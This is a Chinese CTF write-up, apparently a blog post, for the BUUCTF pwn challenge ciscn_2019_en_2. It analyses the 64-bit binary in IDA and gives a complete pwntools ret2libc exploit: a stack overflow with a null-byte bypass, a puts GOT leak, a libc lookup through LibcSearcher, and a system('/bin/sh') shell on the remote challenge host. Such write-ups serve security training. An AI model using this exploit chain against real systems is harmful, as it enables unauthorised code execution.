BUUCTF-PWN-ciscn_2019_en_2

本文通过一个具体的64位程序示例,详细解析了如何利用IDA进行程序分析,构造payload并最终实现远程代码执行的过程。涉及技术包括内存寻址、寄存器使用及系统调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看文件信息

amd 64位系统 NX保护
在这里插入图片描述

IDA 分析

nc 程序连接一下
在这里插入图片描述

没什么东西 给了几个选择的按钮

IDA 64分析一波
在这里插入图片描述
发现其实程序就只能选择1 而且关键函数是encrypt

我们进去看一下
在这里插入图片描述
所以 只要让 var[13] = 17就行了

exp

但是 这里要说明一下 32位程序是能直接去内存中寻址执行的
64位就是要依靠寄存器来寻址 然后找到地址返回给程序去执行的

from pwn import*
from LibcSearcher import*

r=remote('node3.buuoj.cn',25608)
elf=ELF('./ciscn_2019_en_2')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
#puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值